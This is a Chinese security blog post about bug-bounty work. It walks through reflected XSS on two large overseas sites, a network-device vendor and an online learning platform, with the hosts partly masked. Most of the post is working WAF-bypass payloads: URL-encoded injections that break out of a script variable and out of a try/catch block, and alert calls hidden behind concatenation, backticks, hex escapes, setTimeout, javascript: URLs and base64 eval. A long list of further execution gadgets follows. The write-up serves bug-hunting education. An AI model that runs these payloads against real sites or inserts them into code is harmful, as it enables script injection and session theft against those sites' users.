海外实战系列

admin 2025年4月6日19:52:45评论0 views字数 5963阅读19分52秒阅读模式
海外实战系列

01

前言

分享两个海外大型SRC厂商的XSS成功绕过WAF的案例,觉得挺有趣的,遂整理成文,大佬们轻喷~

02

XSS绕过

01

某全球顶级网络设备商

首先,URL是这样的

https://axxx.test.com/Cxxxxxxx/gxxxxx?Axxxx=hxxxx&Bxxxx=yxxxx2&Gxxxx=yxxxx&Gxxxxx=gxxxxx&Kxxxx=vxxxxx&Lxxx=nxxxx&Mxxxx=oxxxx=nxxx&Mxxx=xxxx&cxxxxx=ixxx&location=US

S

既然是找XSS,那么无非就是找输入输出的点,再绕下WAF就可以了,工具这里就不说了,只说手工。可以看到这么多个输入参数,该怎么快速定位到有回显输出的那个参数呢?

可以直接这样,把每一个参数值都写成一个标记值,比如"X1lyS-1","X1lyS-2","X1lyS-3"……然后再去响应里搜索标记值,就能快速找出有回显输出的参数海外实战系列

查看源代码,搜索"X1lyS",由于右键不方便看js代码的结构,每次右键也麻烦,于是推荐使用burp抓包来看就很直观了

一共搜索到4处回显,选择一处结构最清晰简单的进行下一步测试,因为结构清晰的地方便于构造闭合海外实战系列

可以看到GET参数"location=X1lyS-11",回显输出在了响应中,"var _location='X1lyS-11';",那么就测试这里了

该处回显点,在前端页面表现为修改地理位置的功能点,所以师傅们以后遇到这种场景就可以考虑测试一下有无XSS海外实战系列海外实战系列

回显点处的结构很简单,位于script标签内的_location变量的值处

<script type="text/javascript">// ... [其他变量已隐藏] ...var _location='X1lyS-11';// ... [其余代码已虚化] ...</script>

既然已经在<script>标签内,那么就直接构造js代码就可以了,不用再写什么html标签

首先,先闭合逃逸出来_location变量

location=X1lyS-11';test

海外实战系列逃逸成功!没有过滤',和;符号

直接写个alert试试呢,最好先不要直接写alert(),为什么呢?因为alert+()是两个变量,alert是一个变量,如果alert()被拦截,根据控制变量法,我们不能一步知道WAF到底是拦截的alert字符串还是()符号,还是两者都拦截?绕过WAF的核心就是一点一点的FUZZ出来WAF到底拦截的是哪一个小部分,然后我们再使用其他可行的方式替换掉这个小部分就能绕过WAF了

&location=X1lyS-11';alert

海外实战系列逃逸失效,被WAF转义拦截,说明WAF会拦截alert关键字

location=X1lyS-11';()

直接失去回显,location被设置为了"US"默认值,说明WAF拦截了()

海外实战系列那我们先在alert关键字本身做文章,尝试最简单的大小写绕过试试

location=X1lyS-11';alerT

海外实战系列大小写绕过试试失败

拼接绕过试试,使用window去拼接alert关键字

window['al'+'ert'](1);

但是注意()也被拦截了,于是我们使用反引号来绕过,替换()

location=X1lyS-11';window['al'+'ert']`1`;

海外实战系列这里还需要注意,这个payload里出现了几个特殊字符[]以及反引号,它们都需要被URL编码,不然会导致服务器400格式错误,于是我们修改如下

location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%601%60%3B

海外实战系列成功绕过alert()的过滤!

不过还不要忘记加上//,闭合掉后面的js代码,这样语法才能正确,我们插入的js弹窗代码才会被执行

location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%60X1ly?S%60%3B//

海外实战系列在浏览器浏览响应,看看是否成功弹窗

海外实战系列

哟西成功弹窗!

那除了这种正面绕过方式还有什么呢?反面绕过,也就是寻找没有被过滤的关键字来替代alert证明XSS漏洞存在

比如,下面几个函数来替换

// 使用promptprompt(1);// 使用confirmconfirm(1);// 使用console.log (不会弹窗但可以验证执行)console.log(1);

海外实战系列经过尝试promptconfirm也被禁用了,但是console.log没有被禁用,于是直接又找到一种解法

location=X1lyS-11';console.log%60X1ly%3FS%60//

海外实战系列执行成功!

如果还想再复杂点该怎么构造呢?使用执行函数嵌套弹窗函数加编码试试

先看看eval关键字

海外实战系列

毫不意外被过滤了,那找一些偏僻点的执行方式试试?

使用 Function 构造函数

// 基本用法newFunction('alert(1)')()// 带参数的用法Function('a','l','e','r','t','(1)')()// 字符串拼接Function('al'+'ert(1)')()

使用 setTimeout/setInterval

// 直接使用setTimeout('alert(1)')// 字符串拼接setInterval['call'](null'al'+'ert(1)')

使用 location 或 URL 相关方法

// 通过 javascript: 协议location['href'] = 'javascript:alert(1)'// 使用 assignlocation.assign('javascript:alert(1)')

使用事件处理器

// 创建事件document.onclick = newFunction('alert(1)')// 添加事件监听document.addEventListener('click'() => { alert(1) })

使用动态脚本创建

// 创建 script 元素const s = document.createElement('script')s.textContent = 'alert(1)'document.body.appendChild(s)

使用 import()

// 动态导入import('data:text/javascript,alert(1)')

使用 with 语句

// 结合 with 语句with({a:'al',b:'ert'}) { window[a+b](1) }

使用 Proxy 对象

// 通过 Proxy 执行newProxy({}, { get(_, prop) => prop === 'exec' && alert(1) }).exec

这里就简单展示几个成功的,不全部展示了,都是一样的手法

setTimeout

注意哈还是要把括号换成反引号

location=X1lyS-11';setTimeout`alert`1``

海外实战系列但是这样是不正确的语法,因为出现了四个反引号,会导致几个反引号配对闭合时产生语法错误,只需要加一个转义一下内侧的两个反引号就行了,加上注释符号

location=X1lyS-11';setTimeout`alert`1``//

不过,你是不是忘记了什么?alert也被过滤了呀,于是再使用一个十六进制编码下

alx65rt

特别注意!这样的编码方式需要被嵌套到执行函数内部才能被正确解析,直接这样是语法错误的

海外实战系列

url编码

location=X1lyS-11';setTimeout%60al%5Cx65rt%5C%60X1ly?S%5C%60%60%2F%2F

海外实战系列海外实战系列成功!

javascript

javascript关键字也需要被十六进制编码,同理可得

location=X1lyS-11';location%5B%27href%27%5D%20%3D%20%27j%5Cx61vascript%3Aal%5Cx65rt%601%60%27//
海外实战系列
02

某全球最大的在线学习平台

url是这样

https://www.cxxxxxxx.com/cxxxxx/cxxxxxxxx.pl?cxxxx=vxxxx&fxxx=Mxxxx&jxxxx=txxxxx&m=bxxxxx&mod=pxxxx&month=exxxxx&pxxxx=uxxxx&product_isbn_issn=xxxxxx

上面介绍过的就不再重复,探测出来有回显的参数是product_isbn_issn

前端页面长这样子,对没错,就是一个空白的框框

海外实战系列

抓包看看回显点所处的js代码结构

海外实战系列

可以看到回显点在try-catch语句块里

那么先构造闭合逃逸

海外实战系列

逃逸成功

直接尝试alert关键字

product_isbn_issn=X1lyS');alert

海外实战系列发现竟然没有拦截,那么直接闭合后面的符号,不用注释了

product_isbn_issn=X1lyS');alert('1

海外实战系列卧槽?直接就闭合了?也没有任何拦截,这么快就秒了吗?

看看浏览器响应,是否真的弹窗了?

海外实战系列

果然没这么简单!奇怪,没有成功弹窗,看看控制台有什么报错吗难道?

海外实战系列

果然有相关的报错,解释一下这个报错是什么意思

这是一个框架访问错误: 错误信息显示Cannot read properties of undefined (reading 'location'),说明代码试图访问window.parent.frames['banner']时失败。可能原因有:父窗口中不存在名为'banner'的框架,或者由于同源策略限制,无法访问跨域的iframe内容

为什么有这个报错会弹窗失败呢?看看此处的js代码

functionrexxxxx() {var raxxxxx=Mxxx.fxxxx(xxx);try {    window.parent.frames['banner'].location.replace('/cxxxxxxxxxxx/cxxxxxxxx.pl?fxxxxx=Mxxxxx&product_isbn_issn=X1lyS');alert('1');        } catch (e) {}}</script>

那是因为如果window.parent.frames['banner']访问失败,try会捕获错误,但catch (e) {}直接忽略,导致你看不到错误。alert('1')不会执行,因为前面的代码已经报错,JS会停止执行

那咋办?排查下这个报错为什么会产生呢,在浏览器控制台(F12)运行:

console.log(window.parent.frames['banner']);

如果返回undefined,说明没有这个frame

如果返回null或报跨域错误,说明存在但无法访问

海外实战系列

好吧说明没有这个frame,那咋办才能执行我们的弹窗代码捏?这个报错我们无法直接修复,修复不了它的下一行弹窗代码就不会被执行……

既然这样,我们再逃逸一层试试呢,直接逃逸出来try语句,脱离这个报错的影响范围

product_isbn_issn=X1lyS');}alert('1

海外实战系列这样显然是不对的语法,还有一个}未被正确闭合,于是我们得做大修改,把它们分成三个部分来闭合

///这是第一个部分:rexxxxx()函数块,函数内部需要使用catch (e)闭合掉try语句,使得语法正确functionrexxxxx() {var raxxxxx=Mxxx.fxxxx(xxx);try {    window.parent.frames['banner'].location.replace('/cxxxxxxxxxxx/cxxxxxxxx.pl?fxxxxx=Mxxxxx&product_isbn_issn=X1lyS');//////这是第二部分,将用来写我们的弹窗代码逻辑                                 test');            //////这是第三部分,将使用try语句闭合掉catch语句,使得语法正确,然后还要正确闭合}符号,于是需要在构造一个fuction来闭合,也就是外面再套一层函数块        } catch (e) {}}///</script>

理论成立,开始实战!

闭合第一部分rexxxxx()函数块,以及函数块内部的try语句

product_isbn_issn=X1lyS');}catch(e){}}test

海外实战系列闭合成功!

接着开始构造弹窗代码逻辑

product_isbn_issn=X1lyS');}catch(e){}}alert(1);

海外实战系列先这样写着占个位,继续闭合第三部分

product_isbn_issn=X1lyS');}catch(e){}}alert(1);function X(){try{//

url编个码

product_isbn_issn=X1lyS%27)%3B%7Dcatch(e)%7B%7D%7Dalert('X1ly?S')%3Bfunction%20X()%7Btry%7B%2F%2F

海外实战系列看看响应

海外实战系列

哟西!成功弹窗

"主播主播,你的payload还是太不吃操作了,有没有更复杂的payload"

"有的兄弟有的,这样更复杂的payload还有很多"

假设alert被过滤,我们有很多种方式去绕过:

○ eval嵌套base64编码

eval(atob`YWxlcnQoJ1gxbHk/Uycp`); 

○ Reflect.apply反射调用

Reflect.apply(window['al'+'ert'], null, ['X1ly?S']);

○ Object.defineProperty动态定义

Object.defineProperty(window'a', {get() =>window['ale'+'rt']}).a('X1ly?S');

○ String.fromCharCode拼接函数名

window[String.fromCharCode(97,108,101,114,116)]('X1ly?S');

○ <iframe>沙盒绕过

document.body.innerHTML += '<iframe src="javascript:alu0065rt('X1ly?S')">';

○ Event事件处理函数

eval(URL.createObjectURL(newBlob(['alx65rt("X1ly?S")'], {type'text/javascript'})));

○ Array.map隐式调用

['al'].map(x =>window[x + 'ert']('X1ly?S'))[0];

ok,文章到此结束,师傅们下次再见~,欢迎留言下次写什么文章呢?

原文始发于微信公众号(迪哥讲事):海外实战系列

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日19:52:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   海外实战系列https://cn-sec.com/archives/3919941.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息